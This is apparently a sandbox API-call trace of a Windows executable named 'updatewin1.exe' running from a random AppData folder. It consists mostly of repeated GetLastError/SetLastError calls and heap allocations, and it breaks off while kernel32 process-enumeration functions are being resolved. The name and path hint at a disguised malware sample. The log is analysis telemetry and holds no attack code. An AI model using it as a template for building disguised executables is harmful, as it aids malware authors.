!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ赳뱕㞕AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0054.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¤\x17\x90½\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0054.126] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43a580, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin1.exe")) returned 0x5f [0054.126] GetLastError () returned 0x0 [0054.126] SetLastError (dwErrCode=0x0) [0054.126] GetLastError () returned 0x0 [0054.126] SetLastError (dwErrCode=0x0) [0054.126] GetLastError () returned 0x0 [0054.126] SetLastError (dwErrCode=0x0) [0054.126] GetLastError () returned 0x0 [0054.126] SetLastError (dwErrCode=0x0) [0054.126] GetLastError () returned 0x0 [0054.126] SetLastError (dwErrCode=0x0) [0054.127] GetLastError () returned 0x0 [0054.127] SetLastError (dwErrCode=0x0) [0054.127] GetLastError () returned 0x0 [0054.127] SetLastError (dwErrCode=0x0) [0054.127] GetLastError () returned 0x0 [0054.127] SetLastError (dwErrCode=0x0) [0054.127] GetLastError () returned 0x0 [0054.127] SetLastError (dwErrCode=0x0) [0054.127] GetLastError () returned 0x0 [0054.127] SetLastError (dwErrCode=0x0) [0054.127] GetLastError () returned 0x0 [0054.127] SetLastError (dwErrCode=0x0) [0054.127] GetLastError () returned 0x0 [0054.127] SetLastError (dwErrCode=0x0) [0054.127] GetLastError () returned 0x0 [0054.127] SetLastError (dwErrCode=0x0) [0054.127] GetLastError () returned 0x0 [0054.127] SetLastError (dwErrCode=0x0) [0054.127] GetLastError () returned 0x0 [0054.127] SetLastError (dwErrCode=0x0) [0054.127] GetLastError () returned 0x0 [0054.127] SetLastError (dwErrCode=0x0) [0054.127] GetLastError () returned 0x0 [0054.127] SetLastError (dwErrCode=0x0) [0054.127] GetLastError () returned 0x0 [0054.128] SetLastError (dwErrCode=0x0) [0054.128] GetLastError () returned 0x0 [0054.128] SetLastError (dwErrCode=0x0) [0054.128] GetLastError () returned 0x0 [0054.128] SetLastError (dwErrCode=0x0) [0054.128] GetLastError () returned 0x0 [0054.128] SetLastError (dwErrCode=0x0) [0054.128] GetLastError () returned 0x0 [0054.128] SetLastError (dwErrCode=0x0) [0054.128] GetLastError () returned 0x0 [0054.128] SetLastError (dwErrCode=0x0) [0054.128] GetLastError () returned 0x0 [0054.128] SetLastError (dwErrCode=0x0) [0054.128] GetLastError () returned 0x0 [0054.128] SetLastError (dwErrCode=0x0) [0054.128] GetLastError () returned 0x0 [0054.128] SetLastError (dwErrCode=0x0) [0054.128] GetLastError () returned 0x0 [0054.128] SetLastError (dwErrCode=0x0) [0054.128] GetLastError () returned 0x0 [0054.128] SetLastError (dwErrCode=0x0) [0054.128] GetLastError () returned 0x0 [0054.128] SetLastError (dwErrCode=0x0) [0054.128] GetLastError () returned 0x0 [0054.128] SetLastError (dwErrCode=0x0) [0054.128] GetLastError () returned 0x0 [0054.129] SetLastError (dwErrCode=0x0) [0054.129] GetLastError () returned 0x0 [0054.129] SetLastError (dwErrCode=0x0) [0054.129] GetLastError () returned 0x0 [0054.129] SetLastError (dwErrCode=0x0) [0054.129] GetLastError () returned 0x0 [0054.129] SetLastError (dwErrCode=0x0) [0054.129] GetLastError () returned 0x0 [0054.129] SetLastError (dwErrCode=0x0) [0054.129] GetLastError () returned 0x0 [0054.129] SetLastError (dwErrCode=0x0) [0054.129] GetLastError () returned 0x0 [0054.129] SetLastError (dwErrCode=0x0) [0054.129] GetLastError () returned 0x0 [0054.129] SetLastError (dwErrCode=0x0) [0054.129] GetLastError () returned 0x0 [0054.129] SetLastError (dwErrCode=0x0) [0054.129] GetLastError () returned 0x0 [0054.129] SetLastError (dwErrCode=0x0) [0054.129] GetLastError () returned 0x0 [0054.129] SetLastError (dwErrCode=0x0) [0054.129] GetLastError () returned 0x0 [0054.129] SetLastError (dwErrCode=0x0) [0054.129] GetLastError () returned 0x0 [0054.129] SetLastError (dwErrCode=0x0) [0054.130] GetLastError () returned 0x0 [0054.130] SetLastError (dwErrCode=0x0) [0054.130] GetLastError () returned 0x0 [0054.130] SetLastError (dwErrCode=0x0) [0054.130] GetLastError () returned 0x0 [0054.130] SetLastError (dwErrCode=0x0) [0054.130] GetLastError () returned 0x0 [0054.130] SetLastError (dwErrCode=0x0) [0054.130] GetLastError () returned 0x0 [0054.130] SetLastError (dwErrCode=0x0) [0054.130] GetLastError () returned 0x0 [0054.130] SetLastError (dwErrCode=0x0) [0054.130] GetLastError () returned 0x0 [0054.130] SetLastError (dwErrCode=0x0) [0054.130] GetLastError () returned 0x0 [0054.130] SetLastError (dwErrCode=0x0) [0054.130] GetLastError () returned 0x0 [0054.130] SetLastError (dwErrCode=0x0) [0054.130] GetLastError () returned 0x0 [0054.130] SetLastError (dwErrCode=0x0) [0054.130] GetLastError () returned 0x0 [0054.130] SetLastError (dwErrCode=0x0) [0054.130] GetLastError () returned 0x0 [0054.130] SetLastError (dwErrCode=0x0) [0054.130] GetLastError () returned 0x0 [0054.131] SetLastError (dwErrCode=0x0) [0054.131] GetLastError () returned 0x0 [0054.131] SetLastError (dwErrCode=0x0) [0054.131] GetLastError () returned 0x0 [0054.131] SetLastError (dwErrCode=0x0) [0054.131] GetLastError () returned 0x0 [0054.131] SetLastError (dwErrCode=0x0) [0054.131] GetLastError () returned 0x0 [0054.131] SetLastError (dwErrCode=0x0) [0054.131] GetLastError () returned 0x0 [0054.131] SetLastError (dwErrCode=0x0) [0054.131] GetLastError () returned 0x0 [0054.131] SetLastError (dwErrCode=0x0) [0054.131] GetLastError () returned 0x0 [0054.131] SetLastError (dwErrCode=0x0) [0054.131] GetLastError () returned 0x0 [0054.131] SetLastError (dwErrCode=0x0) [0054.131] GetLastError () returned 0x0 [0054.131] SetLastError (dwErrCode=0x0) [0054.131] GetLastError () returned 0x0 [0054.131] SetLastError (dwErrCode=0x0) [0054.131] GetLastError () returned 0x0 [0054.131] SetLastError (dwErrCode=0x0) [0054.131] GetLastError () returned 0x0 [0054.131] SetLastError (dwErrCode=0x0) [0054.131] GetLastError () returned 0x0 [0054.132] SetLastError (dwErrCode=0x0) [0054.132] GetLastError () returned 0x0 [0054.132] SetLastError (dwErrCode=0x0) [0054.132] GetLastError () returned 0x0 [0054.132] SetLastError (dwErrCode=0x0) [0054.132] GetLastError () returned 0x0 [0054.132] SetLastError (dwErrCode=0x0) [0054.132] GetLastError () returned 0x0 [0054.132] SetLastError (dwErrCode=0x0) [0054.132] GetLastError () returned 0x0 [0054.132] SetLastError (dwErrCode=0x0) [0054.132] GetLastError () returned 0x0 [0054.132] SetLastError (dwErrCode=0x0) [0054.132] GetLastError () returned 0x0 [0054.132] SetLastError (dwErrCode=0x0) [0054.132] GetLastError () returned 0x0 [0054.132] SetLastError (dwErrCode=0x0) [0054.132] GetLastError () returned 0x0 [0054.132] SetLastError (dwErrCode=0x0) [0054.132] GetLastError () returned 0x0 [0054.132] SetLastError (dwErrCode=0x0) [0054.132] GetLastError () returned 0x0 [0054.132] SetLastError (dwErrCode=0x0) [0054.132] GetLastError () returned 0x0 [0054.132] SetLastError (dwErrCode=0x0) [0054.132] GetLastError () returned 0x0 [0054.133] SetLastError (dwErrCode=0x0) [0054.133] GetLastError () returned 0x0 [0054.133] SetLastError (dwErrCode=0x0) [0054.133] GetLastError () returned 0x0 [0054.133] SetLastError (dwErrCode=0x0) [0054.133] GetLastError () returned 0x0 [0054.133] SetLastError (dwErrCode=0x0) [0054.133] GetLastError () returned 0x0 [0054.133] SetLastError (dwErrCode=0x0) [0054.133] GetLastError () returned 0x0 [0054.133] SetLastError (dwErrCode=0x0) [0054.133] GetLastError () returned 0x0 [0054.133] SetLastError (dwErrCode=0x0) [0054.133] GetLastError () returned 0x0 [0054.133] SetLastError (dwErrCode=0x0) [0054.133] GetLastError () returned 0x0 [0054.133] SetLastError (dwErrCode=0x0) [0054.133] GetLastError () returned 0x0 [0054.133] SetLastError (dwErrCode=0x0) [0054.133] GetLastError () returned 0x0 [0054.133] SetLastError (dwErrCode=0x0) [0054.133] GetLastError () returned 0x0 [0054.133] SetLastError (dwErrCode=0x0) [0054.133] GetLastError () returned 0x0 [0054.134] SetLastError (dwErrCode=0x0) [0054.134] GetLastError () returned 0x0 [0054.134] SetLastError (dwErrCode=0x0) [0054.134] GetLastError () returned 0x0 [0054.134] SetLastError (dwErrCode=0x0) [0054.134] GetLastError () returned 0x0 [0054.134] SetLastError (dwErrCode=0x0) [0054.134] GetLastError () returned 0x0 [0054.134] SetLastError (dwErrCode=0x0) [0054.134] GetLastError () returned 0x0 [0054.134] SetLastError (dwErrCode=0x0) [0054.134] GetLastError () returned 0x0 [0054.134] SetLastError (dwErrCode=0x0) [0054.134] GetLastError () returned 0x0 [0054.134] SetLastError (dwErrCode=0x0) [0054.134] GetLastError () returned 0x0 [0054.134] SetLastError (dwErrCode=0x0) [0054.134] GetLastError () returned 0x0 [0054.134] SetLastError (dwErrCode=0x0) [0054.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x74) returned 0x301990 [0054.134] GetLastError () returned 0x0 [0054.134] SetLastError (dwErrCode=0x0) [0054.134] GetLastError () returned 0x0 [0054.134] SetLastError (dwErrCode=0x0) [0054.134] GetLastError () returned 0x0 [0054.134] SetLastError (dwErrCode=0x0) [0054.134] GetLastError () returned 0x0 [0054.135] SetLastError (dwErrCode=0x0) [0054.135] GetLastError () returned 0x0 [0054.135] SetLastError (dwErrCode=0x0) [0054.135] GetLastError () returned 0x0 [0054.135] SetLastError (dwErrCode=0x0) [0054.135] GetLastError () returned 0x0 [0054.135] SetLastError (dwErrCode=0x0) [0054.135] GetLastError () returned 0x0 [0054.135] SetLastError (dwErrCode=0x0) [0054.135] GetLastError () returned 0x0 [0054.135] SetLastError (dwErrCode=0x0) [0054.135] GetLastError () returned 0x0 [0054.135] SetLastError (dwErrCode=0x0) [0054.135] GetLastError () returned 0x0 [0054.135] SetLastError (dwErrCode=0x0) [0054.135] GetLastError () returned 0x0 [0054.135] SetLastError (dwErrCode=0x0) [0054.135] GetLastError () returned 0x0 [0054.135] SetLastError (dwErrCode=0x0) [0054.135] GetLastError () returned 0x0 [0054.135] SetLastError (dwErrCode=0x0) [0054.135] GetLastError () returned 0x0 [0054.135] SetLastError (dwErrCode=0x0) [0054.135] GetLastError () returned 0x0 [0054.135] SetLastError (dwErrCode=0x0) [0054.136] GetLastError () returned 0x0 [0054.136] SetLastError (dwErrCode=0x0) [0054.136] GetLastError () returned 0x0 [0054.136] SetLastError (dwErrCode=0x0) [0054.136] GetLastError () returned 0x0 [0054.136] SetLastError (dwErrCode=0x0) [0054.136] GetLastError () returned 0x0 [0054.136] SetLastError (dwErrCode=0x0) [0054.136] GetLastError () returned 0x0 [0054.136] SetLastError (dwErrCode=0x0) [0054.136] GetLastError () returned 0x0 [0054.136] SetLastError (dwErrCode=0x0) [0054.136] GetLastError () returned 0x0 [0054.136] SetLastError (dwErrCode=0x0) [0054.136] GetLastError () returned 0x0 [0054.136] SetLastError (dwErrCode=0x0) [0054.136] GetLastError () returned 0x0 [0054.136] SetLastError (dwErrCode=0x0) [0054.136] GetLastError () returned 0x0 [0054.136] SetLastError (dwErrCode=0x0) [0054.136] GetLastError () returned 0x0 [0054.136] SetLastError (dwErrCode=0x0) [0054.136] GetLastError () returned 0x0 [0054.136] SetLastError (dwErrCode=0x0) [0054.136] GetLastError () returned 0x0 [0054.137] SetLastError (dwErrCode=0x0) [0054.137] GetLastError () returned 0x0 [0054.137] SetLastError (dwErrCode=0x0) [0054.137] GetLastError () returned 0x0 [0054.137] SetLastError (dwErrCode=0x0) [0054.137] GetLastError () returned 0x0 [0054.137] SetLastError (dwErrCode=0x0) [0054.137] GetLastError () returned 0x0 [0054.137] SetLastError (dwErrCode=0x0) [0054.137] GetLastError () returned 0x0 [0054.137] SetLastError (dwErrCode=0x0) [0054.137] GetLastError () returned 0x0 [0054.137] SetLastError (dwErrCode=0x0) [0054.137] GetLastError () returned 0x0 [0054.137] SetLastError (dwErrCode=0x0) [0054.137] GetLastError () returned 0x0 [0054.137] SetLastError (dwErrCode=0x0) [0054.137] GetLastError () returned 0x0 [0054.137] SetLastError (dwErrCode=0x0) [0054.137] GetLastError () returned 0x0 [0054.137] SetLastError (dwErrCode=0x0) [0054.137] GetLastError () returned 0x0 [0054.137] SetLastError (dwErrCode=0x0) [0054.137] GetLastError () returned 0x0 [0054.137] SetLastError (dwErrCode=0x0) [0054.137] GetLastError () returned 0x0 [0054.138] SetLastError (dwErrCode=0x0) [0054.138] GetLastError () returned 0x0 [0054.138] SetLastError (dwErrCode=0x0) [0054.138] GetLastError () returned 0x0 [0054.138] SetLastError (dwErrCode=0x0) [0054.138] GetLastError () returned 0x0 [0054.138] SetLastError (dwErrCode=0x0) [0054.138] GetLastError () returned 0x0 [0054.138] SetLastError (dwErrCode=0x0) [0054.138] GetLastError () returned 0x0 [0054.138] SetLastError (dwErrCode=0x0) [0054.138] GetLastError () returned 0x0 [0054.138] SetLastError (dwErrCode=0x0) [0054.138] GetLastError () returned 0x0 [0054.139] SetLastError (dwErrCode=0x0) [0054.139] GetLastError () returned 0x0 [0054.139] SetLastError (dwErrCode=0x0) [0054.139] GetLastError () returned 0x0 [0054.139] SetLastError (dwErrCode=0x0) [0054.139] GetLastError () returned 0x0 [0054.139] SetLastError (dwErrCode=0x0) [0054.139] GetLastError () returned 0x0 [0054.139] SetLastError (dwErrCode=0x0) [0054.139] GetLastError () returned 0x0 [0054.139] SetLastError (dwErrCode=0x0) [0054.139] GetLastError () returned 0x0 [0054.139] SetLastError (dwErrCode=0x0) [0054.139] GetLastError () returned 0x0 [0054.139] SetLastError (dwErrCode=0x0) [0054.139] GetLastError () returned 0x0 [0054.139] SetLastError (dwErrCode=0x0) [0054.139] GetLastError () returned 0x0 [0054.139] SetLastError (dwErrCode=0x0) [0054.139] GetLastError () returned 0x0 [0054.139] SetLastError (dwErrCode=0x0) [0054.139] GetLastError () returned 0x0 [0054.139] SetLastError (dwErrCode=0x0) [0054.139] GetLastError () returned 0x0 [0054.139] SetLastError (dwErrCode=0x0) [0054.139] GetLastError () returned 0x0 [0054.140] SetLastError (dwErrCode=0x0) [0054.140] GetLastError () returned 0x0 [0054.140] SetLastError (dwErrCode=0x0) [0054.140] GetLastError () returned 0x0 [0054.140] SetLastError (dwErrCode=0x0) [0054.140] GetLastError () returned 0x0 [0054.140] SetLastError (dwErrCode=0x0) [0054.140] GetLastError () returned 0x0 [0054.140] SetLastError (dwErrCode=0x0) [0054.140] GetLastError () returned 0x0 [0054.140] SetLastError (dwErrCode=0x0) [0054.140] GetLastError () returned 0x0 [0054.140] SetLastError (dwErrCode=0x0) [0054.140] GetLastError () returned 0x0 [0054.140] SetLastError (dwErrCode=0x0) [0054.140] GetLastError () returned 0x0 [0054.140] SetLastError (dwErrCode=0x0) [0054.140] GetLastError () returned 0x0 [0054.140] SetLastError (dwErrCode=0x0) [0054.140] GetLastError () returned 0x0 [0054.140] SetLastError (dwErrCode=0x0) [0054.140] GetLastError () returned 0x0 [0054.140] SetLastError (dwErrCode=0x0) [0054.140] GetLastError () returned 0x0 [0054.140] SetLastError (dwErrCode=0x0) [0054.141] GetLastError () returned 0x0 [0054.141] SetLastError (dwErrCode=0x0) [0054.141] GetLastError () returned 0x0 [0054.141] SetLastError (dwErrCode=0x0) [0054.141] GetLastError () returned 0x0 [0054.141] SetLastError (dwErrCode=0x0) [0054.141] GetLastError () returned 0x0 [0054.141] SetLastError (dwErrCode=0x0) [0054.141] GetLastError () returned 0x0 [0054.141] SetLastError (dwErrCode=0x0) [0054.141] GetLastError () returned 0x0 [0054.141] SetLastError (dwErrCode=0x0) [0054.141] GetLastError () returned 0x0 [0054.141] SetLastError (dwErrCode=0x0) [0054.141] GetLastError () returned 0x0 [0054.141] SetLastError (dwErrCode=0x0) [0054.141] GetLastError () returned 0x0 [0054.141] SetLastError (dwErrCode=0x0) [0054.141] GetLastError () returned 0x0 [0054.141] SetLastError (dwErrCode=0x0) [0054.141] GetLastError () returned 0x0 [0054.141] SetLastError (dwErrCode=0x0) [0054.141] GetLastError () returned 0x0 [0054.141] SetLastError (dwErrCode=0x0) [0054.141] GetLastError () returned 0x0 [0054.142] SetLastError (dwErrCode=0x0) [0054.142] GetLastError () returned 0x0 [0054.142] SetLastError (dwErrCode=0x0) [0054.142] GetLastError () returned 0x0 [0054.142] SetLastError (dwErrCode=0x0) [0054.142] GetLastError () returned 0x0 [0054.142] SetLastError (dwErrCode=0x0) [0054.142] GetLastError () returned 0x0 [0054.142] SetLastError (dwErrCode=0x0) [0054.142] GetLastError () returned 0x0 [0054.142] SetLastError (dwErrCode=0x0) [0054.142] GetLastError () returned 0x0 [0054.142] SetLastError (dwErrCode=0x0) [0054.142] GetLastError () returned 0x0 [0054.142] SetLastError (dwErrCode=0x0) [0054.142] GetLastError () returned 0x0 [0054.142] SetLastError (dwErrCode=0x0) [0054.142] GetLastError () returned 0x0 [0054.142] SetLastError (dwErrCode=0x0) [0054.142] GetLastError () returned 0x0 [0054.142] SetLastError (dwErrCode=0x0) [0054.142] GetLastError () returned 0x0 [0054.142] SetLastError (dwErrCode=0x0) [0054.142] GetLastError () returned 0x0 [0054.142] SetLastError (dwErrCode=0x0) [0054.142] GetLastError () returned 0x0 [0054.143] SetLastError (dwErrCode=0x0) [0054.143] GetLastError () returned 0x0 [0054.143] SetLastError (dwErrCode=0x0) [0054.143] GetLastError () returned 0x0 [0054.143] SetLastError (dwErrCode=0x0) [0054.143] GetLastError () returned 0x0 [0054.143] SetLastError (dwErrCode=0x0) [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x98) returned 0x301a10 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1f) returned 0x301ab0 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x36) returned 0x301ad8 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x37) returned 0x301b18 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x3c) returned 0x301b58 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x31) returned 0x301ba0 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x17) returned 0x301be0 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x24) returned 0x301c00 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x14) returned 0x301c30 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xd) returned 0x301c50 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x25) returned 0x301c68 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x39) returned 0x301c98 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0x301ce0 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x17) returned 0x301d00 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xe) returned 0x301d20 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x69) returned 0x301d38 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x3e) returned 0x301db0 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0x301df8 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1d) returned 0x301e20 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x48) returned 0x301e48 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x12) returned 0x301e98 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0x301eb8 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1b) returned 0x301ed8 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x24) returned 0x301f00 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x29) returned 0x301f30 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1e) returned 0x301f68 [0054.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x41) returned 0x301f90 [0054.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x17) returned 0x301fe8 [0054.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0xf) returned 0x302008 [0054.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x16) returned 0x302020 [0054.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2a) returned 0x302040 [0054.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x29) returned 0x302078 [0054.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x15) returned 0x3020b0 [0054.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x1e) returned 0x3020d0 [0054.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2a) returned 0x3020f8 [0054.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x12) returned 0x302130 [0054.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0x302150 [0054.144] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x46) returned 0x302170 [0054.144] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3011f8 | out: hHeap=0x300000) returned 1 [0054.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x800) returned 0x3021c0 [0054.145] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x3011f8 [0054.145] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0054.145] RtlSizeHeap (HeapHandle=0x300000, Flags=0x0, MemoryPointer=0x3011f8) returned 0x80 [0054.146] GetLastError () returned 0x0 [0054.146] SetLastError (dwErrCode=0x0) [0054.146] GetLastError () returned 0x0 [0054.146] SetLastError (dwErrCode=0x0) [0054.146] GetLastError () returned 0x0 [0054.146] SetLastError (dwErrCode=0x0) [0054.146] GetLastError () returned 0x0 [0054.146] SetLastError (dwErrCode=0x0) [0054.146] GetLastError () returned 0x0 [0054.146] SetLastError (dwErrCode=0x0) [0054.146] GetLastError () returned 0x0 [0054.146] SetLastError (dwErrCode=0x0) [0054.146] GetLastError () returned 0x0 [0054.146] SetLastError (dwErrCode=0x0) [0054.146] GetLastError () returned 0x0 [0054.146] SetLastError (dwErrCode=0x0) [0054.146] GetLastError () returned 0x0 [0054.146] SetLastError (dwErrCode=0x0) [0054.146] GetLastError () returned 0x0 [0054.146] SetLastError (dwErrCode=0x0) [0054.146] GetLastError () returned 0x0 [0054.147] SetLastError (dwErrCode=0x0) [0054.147] GetLastError () returned 0x0 [0054.147] SetLastError (dwErrCode=0x0) [0054.147] GetLastError () returned 0x0 [0054.147] SetLastError (dwErrCode=0x0) [0054.147] GetLastError () returned 0x0 [0054.147] SetLastError (dwErrCode=0x0) [0054.147] GetLastError () returned 0x0 [0054.147] SetLastError (dwErrCode=0x0) [0054.147] GetLastError () returned 0x0 [0054.147] SetLastError (dwErrCode=0x0) [0054.147] GetLastError () returned 0x0 [0054.147] SetLastError (dwErrCode=0x0) [0054.147] GetLastError () returned 0x0 [0054.147] SetLastError (dwErrCode=0x0) [0054.147] GetLastError () returned 0x0 [0054.147] SetLastError (dwErrCode=0x0) [0054.147] GetLastError () returned 0x0 [0054.147] SetLastError (dwErrCode=0x0) [0054.147] GetLastError () returned 0x0 [0054.147] SetLastError (dwErrCode=0x0) [0054.147] GetLastError () returned 0x0 [0054.147] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0054.148] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0054.148] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 